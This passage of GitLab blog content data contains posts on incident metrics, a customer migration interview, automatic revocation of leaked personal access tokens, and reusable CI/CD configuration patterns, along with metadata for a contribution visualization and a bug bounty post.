ebook](https://page.gitlab.com/resources-ebook-trading-diy-devops-for-a-single-platform-smb.html) learn the advantages to moving from a DIY DevOps toolchain to GitLab’s platform.\n",[4103,943,674,790],{"slug":11398,"featured":6,"template":678},"devsecops-platforms-give-smbs-security-muscle","content:en-us:blog:devsecops-platforms-give-smbs-security-muscle.yml","Devsecops Platforms Give Smbs Security Muscle","en-us/blog/devsecops-platforms-give-smbs-security-muscle.yml","en-us/blog/devsecops-platforms-give-smbs-security-muscle",{"_path":11404,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11405,"content":11410,"config":11415,"_id":11417,"_type":16,"title":11418,"_source":17,"_file":11419,"_stem":11420,"_extension":20},"/en-us/blog/visualizing-incident-management-metrics",{"title":11406,"description":11407,"ogTitle":11406,"ogDescription":11407,"noIndex":6,"ogImage":6954,"ogUrl":11408,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11408,"schema":11409},"Visual guide to incident metrics","Learn what incident metrics are and how they contribute to better performance and response times.","https://about.gitlab.com/blog/visualizing-incident-management-metrics","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Visual guide to incident metrics\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Alana Bellucci\"}],\n        \"datePublished\": \"2023-01-09\",\n      }",{"title":11406,"description":11407,"authors":11411,"heroImage":6954,"date":11412,"body":11413,"category":962,"tags":11414},[5305],"2023-01-09","\n\nIncident metrics are a set of standard, quantifiable measurements used to track the incident response process. Accurately tracking these metrics will help DevSecOps teams understand how they are performing and whether responses to unplanned outages are getting better or worse. Decreasing the time to detect, respond, mitigate, and recover from an incident decreases the impact of an incident on customers as well as the cost of the incident to the business overall. \n\nHow are these metrics captured and recorded? Let's backtrack a bit and define five key timestamps to capture during an incident that will enable teams to measure the relevant incident metrics.\n\n1. First product impact (`Start time`): When a service starts degrading or metrics begin deviating from the norm.\n2. Time to detection (`Impact detected`): When the operator becomes aware of the problem.\n3. Time to respond (`Response initiated`): When the operator starts to address the problem. \n4. Time to mitigate (`Impact mitigated`): When there is no longer severe product impact. The system may still be degraded in some way.\n5. Time to recovery (`End time`): When the system has fully recovered and is operating normally. Note: Sometimes recovery and mitigation are the same, but sometimes they are different. Time to recovery is the same as the DORA metric [time to restore service](https://docs.gitlab.com/ee/user/analytics/dora_metrics.html#time-to-restore-service): time an incident was open in a production environment over the given time period.\n\nIt is important to create a single source of truth for what actually happened during a given incident, and GitLab enables users to do that easily by creating incident timelines. Throughout an incident, there are many conversations, meetings, and investigations to determine what's going on and how to recover. However, only some key pieces of what happened during the incident need to be identified to build an incident timeline, and these timeline items are the building blocks of the important incident metrics.  \n\nLet's walk through an example of how that could work:\n\n- When an alert is triggered, Sally, the engineer on call, gets paged.\n- Sally is in the middle of breakfast and doesn't hear the first page.\n- When she gets paged again, she picks up her phone (`impact detected`) and starts to investigate.\n- After taking a closer look, it looks like something isn't working as expected and she declares an incident.\n- After reviewing the metrics that triggered the alert, she notices this has been happening for 8 minutes.\n- Sally determines that the true `start time` of the incident was 8 minutes before the first alert.\n\nSo far, two important timeline events have happened. By applying the `start time` and `impact detected` tags to your incident timeline, you can measure the time to detection, which is the difference between these two timestamps.\n\n![time_to_detection](https://about.gitlab.com/images/blogimages/incident-mgmt/time_to_detection.png)\n\nAfter Sally has had a chance to start investigating the alert, she reaches out to team members that can help, sets up a video conference call, and starts to determine the root cause. The `response is initiated`. \n\nThe response team is seeing multiple reports from customers and internal users that traffic is absent. After taking a closer look at the alert and recent changes, the team is able to determine that this incident originates from a recent deployment. Sally coordinates with the Release Manager to roll back the deployment. Once the rollback is complete, the incident has been mitigated. So far we've captured two key metrics, time to detect and time to mitigate.\n\n![time_to_mitigation](https://about.gitlab.com/images/blogimages/incident-mgmt/time_to_mitigation.png)\n\nOnce the changes from the bad deployment have been reverted, Sally continues to monitor for any additional alerts, irregular logs, or reports that traffic is absent. Things continue to look like they are working as expected, marking the `end time` of the incident and declaring the incident _resolved_. (In this example, the time to mitigate is the same as the time to recover since the rolled back deployment restored services.) Sally starts working on creating/determining corrective actions and investigating the total impact that users experienced during the incident. Once these closing tasks are complete, the incident is closed.\n\n![time_to_recovery](https://about.gitlab.com/images/blogimages/incident-mgmt/time_to_recovery.png)\n\nAt GitLab we've built [incident timelines](https://docs.gitlab.com/ee/operations/incident_management/incident_timeline_events.html#view-the-timeline) on the [incident](https://docs.gitlab.com/ee/operations/incident_management/incidents.html) issue type as a first step towards tracking important incident metrics.  We are currently building an MVC for [incident tags](https://gitlab.com/groups/gitlab-org/-/epics/8741) so incident response teams can capture relevant incident timestamps during an incident and add them to the incident timeline.  To learn more about how incident timelines can help your team during an incident, check out [How to leverage GitLab incident timelines](https://about.gitlab.com/blog/gitlab-incident-timelines/).\n\nSpecial thanks to GitLab's talented Product Designer [Amelia Bauerly](https://gitlab.com/ameliabauerly) who illustrated the examples in this blog post.\n",[695,2368,754],{"slug":11416,"featured":6,"template":678},"visualizing-incident-management-metrics","content:en-us:blog:visualizing-incident-management-metrics.yml","Visualizing Incident Management Metrics","en-us/blog/visualizing-incident-management-metrics.yml","en-us/blog/visualizing-incident-management-metrics",{"_path":11422,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11423,"content":11429,"config":11435,"_id":11437,"_type":16,"title":11438,"_source":17,"_file":11439,"_stem":11440,"_extension":20},"/en-us/blog/vestiaire-collective-on-moving-to-a-devsecops-platform",{"title":11424,"description":11425,"ogTitle":11424,"ogDescription":11425,"noIndex":6,"ogImage":11426,"ogUrl":11427,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11427,"schema":11428},"Vestiaire Collective's DevSecOps migration: Wins and insights","Support for container registries and integrations with existing tools were the top reasons for the ecommerce company's migration to GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670278/Blog/Hero%20Images/fasttrack.jpg","https://about.gitlab.com/blog/vestiaire-collective-on-moving-to-a-devsecops-platform","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Vestiaire Collective VP shares wins, insights, and what's next with DevSecOps migration\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chandler Gibbons\"}],\n        \"datePublished\": \"2023-01-05\",\n      }",{"title":11430,"description":11425,"authors":11431,"heroImage":11426,"date":11432,"body":11433,"category":2702,"tags":11434},"Vestiaire Collective VP shares wins, insights, and what's next with DevSecOps migration",[4004],"2023-01-05","\n[Vestiaire Collective](https://us.vestiairecollective.com/), an online marketplace for second-hand clothing and luxury items, needed a faster and easier-to-use solution for code reviews and running pipelines. In 2018, the company migrated its codebase to GitLab for its speed and flexibility in setting up custom workflows and pipelines for releases. Since making the move, Vestiaire Collective has taken advantage of GitLab’s integrations with other tools — including [Jenkins for CI/CD](https://docs.gitlab.com/ee/integration/jenkins.html), [Jira](https://docs.gitlab.com/ee/integration/jira/) for issue management, and Nexus artifact storage — to improve productivity and simplify complex toolchains. We talked to Sardorbek Pulatov, vice president of engineering at Vestiaire Collective, about what his team has been able to achieve with the GitLab DevSecOps Platform and the lessons learned along the way.\n\n**What were the challenges that led Vestiaire Collective to explore GitLab?**\n\nWhen Vestiaire Collective started with GitLab back in 2018, we wanted to have a fast and in-house version control system with features such as running pipelines. One of the biggest chunks of our code base, the monolith, was on Subversion. We migrated to GitLab for speed and also the better maintainability, and code reviews being much easier. GitLab has also enabled us to set up workflows and pipelines for our releases. And recently we also created our own tool for releases because we have a custom workflow in Jira.\n\nNow we have not just engineers in GitLab, but also data engineers and data scientists. So, for example, data scientists manage their releases through their repositories in GitLab. They’re actually quite advanced in using GitLab, the data scientist teams. So they use everything new released by GitLab.\n\n**Since moving to a single platform for DevSecOps, what are the biggest benefits you’ve noticed? How has GitLab helped Vestiaire Collective simplify complicated toolchains?**\n\nWhen GitLab released support for container registries and npm, it was such a relief for us because we were using Amazon Elastic Container Registry (ECR) and it was slow because it was in a different location — we deploy in Ireland but our team is spread across Europe and the United States. We also tried to use our own setup with Nexus and support it ourselves, meaning if there was a vulnerability we would need to update it and maintain it separately. Even if that’s only required once every six months, it still takes time. You still need to plan the upgrade. But with GitLab, our problem was solved. Now developers have [a registry for containers inside GitLab](https://docs.gitlab.com/ee/user/packages/container_registry/) so they can easily push new releases of their services.\n\nThe fact that GitLab integrates with the other tools we are using has also been a huge benefit. We use Jira for project management, and thanks to GitLab’s Jira integration, whenever a developer pushes a commit in GitLab it’s fully visible in Jira. And now, with our custom integration, the releases are also synced, so when you create a release in GitLab, it creates a release with the same ticket in Jira.\n\nAs a next step, personally, I would love us to be able to migrate entirely into GitLab for project management, using GitLab [issues](https://docs.gitlab.com/ee/user/project/issues/index.html) and [epics](https://docs.gitlab.com/ee/user/group/epics/). We’re not there yet, but GitLab provides almost all the functionality needed for developers. Tracking everything in GitLab would make it much easier to reference the issues in code reviews. Now, when you create a ticket in Jira, you need to create a branch in GitLab with the Jira ticket number, and then, when you push a commit, you also need to remember the ticket number. But once everything is in GitLab, we’ll be able to just push a commit to a merge request. GitLab already gives us so much transparency into what we are doing. That would be even greater if everyone was using GitLab issues and epics.\n\n**What has the response from your team been like?**\n\nThere have been no complaints about stability or performance, and the performance is improving release by release! GitLab became very fast with [version 15](/releases/2022/05/22/gitlab-15-0-released/) — I can feel and see the performance boost. People are happy. People have been quiet, and when engineers are not complaining, that means that the tool is quite good. \n\n**For companies that are just getting started with GitLab, what advice would you give them on where to start?**\n\nI’d recommend starting with smaller projects, setting up all the steps needed for your pipeline, and trying to use features of GitLab such as issues and epics. In our case, we started with a larger project from our Product Information Management service team — the project’s repository had three services and we needed to run different pipelines for different changes. And even in our case, GitLab was quite flexible. We could say, “Okay, if a commit message has this specific word, then run these steps. If it has this word, run these other steps.”\n\nWhat we learned from that experience was that first it’s valuable to understand what you need to run as a pipeline. What comes to mind first is tests and probably deployment into an environment. Then we need to monitor the performance and see if we need to pass our caches in between the pipelines to speed up the deployment, or in the case of Node.js, do not download [npm packages](https://docs.gitlab.com/ee/user/packages/npm_registry/) in every change or merge request or branch. Just cache it once in the first run. Then you can optimize step by step. So that’s what I mean by starting small.\n\n**What are you most looking forward to doing with GitLab in the future?**\n\nI love this question. First, I would like to point out that GitLab surprises me with each release. Personally, I am looking forward to using more automation tools for QA engineers, as well as auto pipelines and integrations with the latest automation frameworks.\n\nWe recently moved away from Sentry for error tracking, so I’m also interested in exploring doing [error tracking in GitLab](https://docs.gitlab.com/ee/operations/error_tracking.html). And, I’m interested in seeing how we might be able to use [feature flags in GitLab](https://docs.gitlab.com/ee/operations/feature_flags.html). We’re currently using LaunchDarkly for A/B testing, but if GitLab can even match half of that functionality, it would be great to bring everything together into one platform.\n\nFinally, we’re also looking into how we can make our GitLab implementation even better and more stable, so we want to deploy it into [a Kubernetes cluster](https://docs.gitlab.com/ee/user/clusters/agent/). Currently, it’s just deployed into EC2s, so that would be our next big step for GitLab.\n\nPhoto by [Mathew Schwartz](https://unsplash.com/@cadop?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com)\n",[943,2705,1268,1384,1385],{"slug":11436,"featured":6,"template":678},"vestiaire-collective-on-moving-to-a-devsecops-platform","content:en-us:blog:vestiaire-collective-on-moving-to-a-devsecops-platform.yml","Vestiaire Collective On Moving To A Devsecops Platform","en-us/blog/vestiaire-collective-on-moving-to-a-devsecops-platform.yml","en-us/blog/vestiaire-collective-on-moving-to-a-devsecops-platform",{"_path":11442,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11443,"content":11449,"config":11454,"_id":11456,"_type":16,"title":11457,"_source":17,"_file":11458,"_stem":11459,"_extension":20},"/en-us/blog/pat-revocation-coming-soon",{"title":11444,"description":11445,"ogTitle":11444,"ogDescription":11445,"noIndex":6,"ogImage":11446,"ogUrl":11447,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11447,"schema":11448},"Secret Detection update: Leaked Personal Access Tokens will soon be revoked","Learn about upcoming changes to better protect GitLab users and organizations.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682562/Blog/Hero%20Images/michael-dziedzic-1bjsASjhfkE-unsplash.jpg","https://about.gitlab.com/blog/pat-revocation-coming-soon","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Secret Detection update: Leaked Personal Access Tokens will soon be revoked\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Connor Gilbert\"}],\n        \"datePublished\": \"2023-01-04\",\n      }",{"title":11444,"description":11445,"authors":11450,"heroImage":11446,"date":11451,"body":11452,"category":736,"tags":11453},[4497],"2023-01-04","\n\nGitLab will soon begin automatically revoking Personal Access Tokens ([PATs](https://docs.gitlab.com/ee/user/profile/personal_access_tokens/)) when GitLab [Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/) finds them in public repositories, an update that will better protect GitLab users and organizations.\n\nLeaked PATs are a serious security risk – adversaries can and do search public repositories to find tokens and misuse them.\nHowever, it's easy to make a mistake and accidentally commit a token into your codebase, especially if you're committing to the main branch of your repository without [reviewing security findings first](https://docs.gitlab.com/ee/user/application_security/#view-security-scan-information-in-merge-requests).\n\nWe're rolling out this feature over time and giving additional notice so you can prepare.\nWe know that leaked PATs may also be used in automated systems and will need to be replaced.\n\nWe've been [dogfooding](/handbook/product/product-processes/#dogfood-everything) this feature within GitLab and with customers who volunteered to join our [beta test](/releases/2022/11/22/gitlab-15-6-released/#beta-automatic-revocation-of-leaked-personal-access-tokens).\nNow, we're glad we can expand this protection to everyone.\n\n## When revocation happens\n\nThis feature protects projects that:\n- are public. Private projects are unaffected by this change.\n- use [Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/). If you haven't enabled Secret Detection for a project, we currently won't search it for PATs to revoke.\n\nTokens are revoked in those projects when they:\n- are committed on the default branch of the repository. Merge requests and other non-default branches currently don't trigger revocation.\n- include the `glpat-` prefix, which has been [added to PATs by default since release 14.5](https://docs.gitlab.com/ee/administration/settings/account_and_limit_settings.html#personal-access-token-prefix). Because prefixed tokens are easier to identify, we recommend replacing any un-prefixed tokens with new ones that include the `glpat-` prefix.\n\nLeaked tokens are processed on the same system where they're found: Tokens detected on GitLab.com stay on GitLab.com and tokens detected in Self-Managed instances stay on those instances.\n\n## How to get protected\n\nAutomatic PAT revocation is available for projects that use GitLab Secret Detection.\nSecret Detection scanning is [available in all GitLab tiers](https://docs.gitlab.com/ee/user/application_security/secret_detection/#features-per-tier), but automatic PAT revocation is currently [only available in Ultimate projects](https://docs.gitlab.com/ee/user/application_security/secret_detection/post_processing.html#feature-availability).\n\n- To protect a project, [enable GitLab Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/#enable-secret-detection).\n- To protect your entire organization, consider [enforcing scan execution](https://docs.gitlab.com/ee/user/application_security/index.html#enforce-scan-execution) to run Secret Detection in all of your projects.\n\n## What happens when a PAT leak is discovered\n\nWhen GitLab finds and revokes a PAT, here's what happens:\n- The user whose PAT was leaked receives an email. The email reads: \"We found your token in a public project and have automatically revoked it to protect your account.\"\n- If you use GitLab Ultimate, Secret Detection still reports the leaked token the same way as before. Leaked tokens are noted in the security widget on merge requests, and they're reported in the Vulnerability Report if they're merged to the default branch.\n\nThis video shows how Secret Detection finds a leaked token and how users are notified:\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/Z_msn_HwmVI\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n## What to do if your token is revoked\n\nIf your PAT is automatically revoked, that's because it was exposed publicly.\nYou should consider it to be compromised.\n\nYou'll need to create a new one and use it in any CI/CD variables, configurations, or other places where the leaked token was used.\nWe recommend using separate PATs for different use cases.\nFor more recommendations, check our [token security guidance](https://docs.gitlab.com/ee/security/token_overview.html#security-considerations).\n\n## When changes take effect\n\nWe're rolling out this feature in phases. We currently plan to:\n- Enable automatic PAT revocation on GitLab.com on or after **Jan. 23, 2023**.\n- Enable automatic PAT revocation by default for GitLab Self-Managed in the **GitLab 15.9** release, which we'll publish on **Feb. 22, 2023**.\n    - You can opt in early by [enabling](https://docs.gitlab.com/ee/administration/feature_flags.html) the [feature flag](https://gitlab.com/gitlab-org/gitlab/-/issues/382610) before this date. You need to be on GitLab 15.7 or higher to use the feature.\n    - You can choose not to enable this protection by disabling the feature flag.\n- Remove the feature flag so that this protection is always active for GitLab.com and GitLab Self-Managed in a **future release**.\n\nWe don't currently plan to [add a configuration option](/handbook/product/product-principles/#convention-over-configuration) to disable this security feature. So, if you choose to disable it, please [tell us why in our feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/385690) so we can accommodate your use case.\n\n### What's next for Secret Detection\n\nWe're excited to release this feature, and we'll keep [iterating](https://handbook.gitlab.com/handbook/values/#iteration) to continue to strengthen the level of protection GitLab Secret Detection provides.\n\nFor more information about where we're taking Secret Detection, check [our public direction page](/direction/secure/static-analysis/secret-detection/).\n\nDisclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab.\n{: .note}\n\nCover image by [Michael Dziedzic](https://unsplash.com/@lazycreekimages) from [Unsplash.com](https://www.unsplash.com).\n{: .note}\n",[674,736,754],{"slug":11455,"featured":6,"template":678},"pat-revocation-coming-soon","content:en-us:blog:pat-revocation-coming-soon.yml","Pat Revocation Coming Soon","en-us/blog/pat-revocation-coming-soon.yml","en-us/blog/pat-revocation-coming-soon",{"_path":11461,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11462,"content":11468,"config":11473,"_id":11475,"_type":16,"title":11476,"_source":17,"_file":11477,"_stem":11478,"_extension":20},"/en-us/blog/keeping-your-development-dry",{"title":11463,"description":11464,"ogTitle":11463,"ogDescription":11464,"noIndex":6,"ogImage":11465,"ogUrl":11466,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11466,"schema":11467},"DRY development: A cheatsheet on reusability throughout GitLab","How to follow the DevOps principle of 'don't repeat yourself' to optimize CI/CD.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683555/Blog/Hero%20Images/drylights.jpg","https://about.gitlab.com/blog/keeping-your-development-dry","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"DRY development: A cheatsheet on reusability throughout GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Noah Ing\"},{\"@type\":\"Person\",\"name\":\"Joe Randazzo\"}],\n        \"datePublished\": \"2023-01-03\",\n      }",{"title":11463,"description":11464,"authors":11469,"heroImage":11465,"date":11470,"body":11471,"category":734,"tags":11472},[2621,3006],"2023-01-03","\nMore than 20 years ago, the book [The Pragmatic Programmer](https://pragprog.com/titles/tpp20/the-pragmatic-programmer-20th-anniversary-edition/) brought attention to the DRY principle, or “Don’t Repeat Yourself.\" This principle is defined as every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nThe main problem to solve here is minimizing duplication. As a development project is bombarded with new requests or changing requirements, DevOps teams must balance between development of net-new features or maintaining existing code. The important part is how to reduce duplicate knowledge across projects.\n\nThis tutorial explores the mechanisms throughout GitLab that leverage the DRY principle to cut down on code duplication and standardize on knowledge. To see working examples of reusability in action, take a look at this [repository](https://gitlab.com/guided-explorations/gitlab-ci-yml-tips-tricks-and-hacks/dry-repository-a-cheatsheet).\n\n## Minimizing duplication in CI/CD\n\n### include\n[`include`](https://docs.gitlab.com/ee/ci/yaml/index.html#include) can be used to transform a single .gitlab-ci.yml file into multiple files to improve readability and minimize duplication. For example, testing, security, or deployment workflows can be broken out into separate templates. This also allows [ownership](https://docs.gitlab.com/ee/user/project/codeowners/) of the files.\n\n\n```yaml\ninclude:\n  - template: CI/Build.gitlab-ci.yml\n  - template: CI/Test.gitlab-ci.yml\n  - template: CI/Security.gitlab-ci.yml\n  - template: CD/Deploy.gitlab-ci.yml\n\n```\n\n### YAML anchors\n[YAML anchors](https://docs.gitlab.com/ee/ci/yaml/yaml_optimization.html#anchors) can be used to reduce repeat syntax and extend blocks of CI workflow, including jobs, variables, and scripts.\n\n```yaml\n.test_template: &test_suite\n  image: ruby:2.6\n\nunit_test:\n  \u003C\u003C: *test_suite\n  script:\n    - echo \"Running a test here\"\n\nend_to_end_test:\n  \u003C\u003C: *test_suite\n  script:\n    - echo \"Running a test here\"\n\nsmoke_test:\n  \u003C\u003C: *test_suite\n  script:\n    - echo \"Running a test here\"\n```\n\n### extends\n[`extends`](https://docs.gitlab.com/ee/ci/yaml/index.html#extends) is similar to anchors with additional flexibility and readability. The major difference is it can be used with `includes`.\n\n```yaml\n\n.prepare_deploy:\n  stage: deploy\n  script:\n    - echo \"I am preparing the deploy\"\n  only:\n    - main\n\ndeploy_to_dev:\n  extends: .prepare_deploy\n  script:\n    - echo \"Deploy to dev environment\"\n  environment: dev\n\ndeploy_to_production:\n  extends: .prepare_deploy\n  script:\n    - echo \"Deploy to production environment\"\n  when: manual\n  environment: production\n```\n\n### !reference\n[`!reference`](https://docs.gitlab.com/ee/ci/yaml/yaml_optimization.html#reference-tags) enables the selection of keyword configuration from other job sections and reuse in the current session.\n\n```yaml\n.vars:\n  variables:\n    DEV_URL: \"http://dev-url.com\"\n    STAGING_URL: \"http://staging-url.com\"\n\n.setup_env:\n  script:\n    - echo \"Creating Environment\"\n\n.teardown_env:\n  after_script:\n    - echo \"Deleting Environment\"\n\nintegration_test:\n  variables: !reference [.vars, variables, DEV_URL]\n  script:\n    - !reference [.setup_env, script]\n    - echo \"Run Test\"\n  after_script:\n    - !reference [.teardown_env, after_script]\n\nperformance_test:\n  variables: !reference [.vars, variables]\n  script:\n    - !reference [.setup_env, script]\n    - echo \"Run Test\"\n  after_script:\n    - !reference [.teardown_env, after_script]\n```\n\n### Downstream pipelines\n[Downstream pipelines](https://docs.gitlab.com/ee/ci/pipelines/downstream_pipelines.html) enable the breakout of microservices and their pipelines. A .gitlab-ci.yml file can be used for each service, and when a file or directory is changed, only that pipeline needs to be triggered improving the awareness and readability of what’s deploying.\n\n```yaml\nui:\n  trigger:\n    include: ui/.gitlab-ci.yml\n    strategy: depend\n  rules:\n    - changes: [ui/*]\n\nbackend:\n  trigger:\n    include: backend/.gitlab-ci.yml\n    strategy: depend\n  rules:\n    - changes: [backend/*]\n```\n\n![Dynamic child pipeline](https://about.gitlab.com/images/blogimages/2022-02-01-parent-child-vs-multi-project-pipelines/parent-child.png){: .shadow}\n\n### CI/CD variables\n[CI/CD variables](https://docs.gitlab.com/ee/ci/variables/) can be scoped to a specific level, including the project, group, instance level, or .gitlab-ci.yml level. The values can be stored and reused across a group for project inheritance or overwritten at the project level.\n\n```yaml\nvariables:\n  PROJECT_LEVEL_VARIABLES: \"I am first in line in precedence\"\n  GROUP_LEVEL_VARIABLES: \"I am second in line\"\n  INSTANCE_LEVEL_VARIABLES: \"I am in third place\"\n  GITLAB_CI_YML_LEVEL_VARIABLES: \"I am last in line of precedence\"\n\n```\n\n## Creating consistent code reviews across multiple teams\n\n### Description templates\n[Description templates](https://docs.gitlab.com/ee/user/project/description_templates.html) enable teams to define a consistent workflow for issues or merge requests. For example, the MR template can define a checklist for rolling out to a feature to ensure it’s documented, quality tested, and reviewed by appropriate team members. Here are [MR templates](https://gitlab.com/gitlab-org/gitlab/-/tree/master/.gitlab/merge_request_templates) that GitLab team members use daily.\n\n```md\n\u003C!-- These templates can be set at the instance or group level to share amongst the organization: https://docs.gitlab.com/ee/user/project/description_templates.html#set-instance-level-description-templates -->\n\n## What does this MR do?\n\n\u003C!-- Briefly describe what this MR is about. -->\n\n## Related issues\n\n\u003C!-- Link related issues below. -->\n\n## Create a checklist for the author or reviewer\n- [ ] Optional. Consider taking this writing course before publishing a change.\n- [ ] Follow the documentation process stated here.\n- [ ] Tag this user group if this applies.\n\n\n\u003C!-- Quick Actions - See https://docs.gitlab.com/ee/user/project/quick_actions.html#issues-merge-requests-and-epics for a list of all the quick actions available. -->\n\n\u003C!-- Add a label to assign a specific workflow using scoped labels -->\n/label ~documentation ~\"type::maintenance\" ~\"docs::improvement\" ~\"maintenance::refactor\"\n\n\u003C!-- Apply draft format automatically -->\n/draft\n\n\u003C!-- Assign myself or a usergroup -->\n/assign me\n```\n\n### Project templates\n[Project templates](https://docs.gitlab.com/ee/user/group/custom_project_templates.html) can be used to define an initial project structure for when new services are being developed. This gives a consistent starting point for projects that come equipped with the latest file configurations and defaults.\n\n### File templates\n[File templates](https://docs.gitlab.com/ee/administration/settings/instance_template_repository.html) are similar to project templates but are default files to choose from when adding a new file to your repository. The team then can quickly choose from files that have best practices baked in and organization defaults.\n\n## Defining a Pipeline Center of Excellence project for CI/CD workflows\n\nAs you 'productionize' your CI/CD workflows, it’s recommended to create a “Pipeline Center of Excellence” project that contains templates, containers, or other abstracted constructs that can be adopted throughout the organization. This project contains file or CI/CD templates that have the best practices or well-formed workflows defined for development teams to quickly adopt (includes) without recreating the wheel. To explore this in practice, visit [Pipeline COE](https://gitlab-org.gitlab.io/professional-services-automation/pipelinecoe/pipeline-templates/#/) documentation written by the GitLab Professional Services team.\n\nHave a reusable component to suggest or that we missed? Add a comment to this blog post or suggest a change to this file!\n\n## Related posts\n- [How to keep up with CI/CD best practices](https://about.gitlab.com/blog/how-to-keep-up-with-ci-cd-best-practices/)\n- [How to become more productive with GitLab CI](https://about.gitlab.com/blog/how-to-become-more-productive-with-gitlab-ci/)\n- [A visual guide to GitLab CI/CD caching](https://about.gitlab.com/blog/a-visual-guide-to-gitlab-ci-caching/)\n\nCover image by [Federico Beccari](https://unsplash.com/@federize?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://www.unsplash.com).\n",[1384,1385,4103,943],{"slug":11474,"featured":6,"template":678},"keeping-your-development-dry","content:en-us:blog:keeping-your-development-dry.yml","Keeping Your Development Dry","en-us/blog/keeping-your-development-dry.yml","en-us/blog/keeping-your-development-dry",{"_path":11480,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11481,"content":11487,"config":11492,"_id":11494,"_type":16,"title":11495,"_source":17,"_file":11496,"_stem":11497,"_extension":20},"/en-us/blog/everyone-who-has-contributed",{"title":11482,"description":11483,"ogTitle":11482,"ogDescription":11483,"noIndex":6,"ogImage":11484,"ogUrl":11485,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11485,"schema":11486},"Visualizing 11 years of GitLab contributions","Check out this animated video, which beautifully visualizes every contribution since our start.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682555/Blog/Hero%20Images/gitlabeveryonecontributesdna.png","https://about.gitlab.com/blog/everyone-who-has-contributed","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Visualizing 11 years of GitLab contributions\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darwin Sanoy\"}],\n        \"datePublished\": \"2022-12-19\",\n      }",{"title":11482,"description":11483,"authors":11488,"heroImage":11484,"date":11489,"body":11490,"category":6634,"tags":11491},[1244],"2022-12-19","\n\nGitLab’s mission is to make it so that **[everyone can contribute](/company/mission/#mission)**. While I have been experiencing this mission for three years, I wondered if there was a way to visualize the effect of having everyone contribute over GitLab's history. It turns out there is. An open source project known as [Gource](https://gource.io/) can create an animated visualization of the commit history of a repository. I ran it against the GitLab repository and it visualizes 11 years of busy developers contributing over 300,000 commits to GitLab - covered in just under 10 minutes of video. Each node in the visualization is a file and the count of various file types is shown on the left.\n\nA big thank you to absolutely everyone who has made contributions to GitLab over the years. Hopefully this visualization helps you have a greater sense of this community.\n\nGitLab has recently published the management principles that help enable the \"everyone can contribute\" mission within GitLab. This new people management framework is called [TeamOps](/teamops/). Everyone can learn and become certified in TeamOps through GitLab’s learning portal.\n\nAs another mile marker of the power of the everyone can contribute mission, GitLab also just celebrated one year as [a public company](/blog/one-third-of-what-we-learned-about-ipos-in-taking-gitlab-public/)!\n\nI hope you enjoy Gource’s video visualization, which is filled with the glow of light - seems very appropriate for the many global cultural festivals at this time of year that use light and fireworks to celebrate their communities!\n\n\u003Cfigure class=\"video_container\">\n\u003Ciframe width=\"1870\" height=\"937\" src=\"https://www.youtube.com/embed/QxLzyJDljpg\" title=\"\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\u003C/figure>\n\n\nIf you'd like to become a contributor, check out our [contribution guide](/community/contribute/).\n",[267,2704,754],{"slug":11493,"featured":6,"template":678},"everyone-who-has-contributed","content:en-us:blog:everyone-who-has-contributed.yml","Everyone Who Has Contributed","en-us/blog/everyone-who-has-contributed.yml","en-us/blog/everyone-who-has-contributed",{"_path":11499,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11500,"content":11505,"config":11510,"_id":11512,"_type":16,"title":11513,"_source":17,"_file":11514,"_stem":11515,"_extension":20},"/en-us/blog/why-2022-was-a-record-breaking-year-in-bug-bounty-awards",{"title":11501,"description":11502,"ogTitle":11501,"ogDescription":11502,"noIndex":6,"ogImage":11314,"ogUrl":11503,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11503,"schema":11504},"Why 2022 was a record-breaking year in bug bounty awards","Find out about the researchers who together earned more than $1 million USD in prizes and their bug hunting contributions.","https://about.gitlab.com/blog/why-2022-was-a-record-breaking-year-in-bug-bounty-awards","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why 2022 was a record-breaking year in bug bounty awards\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Nick Malcolm\"}],\n     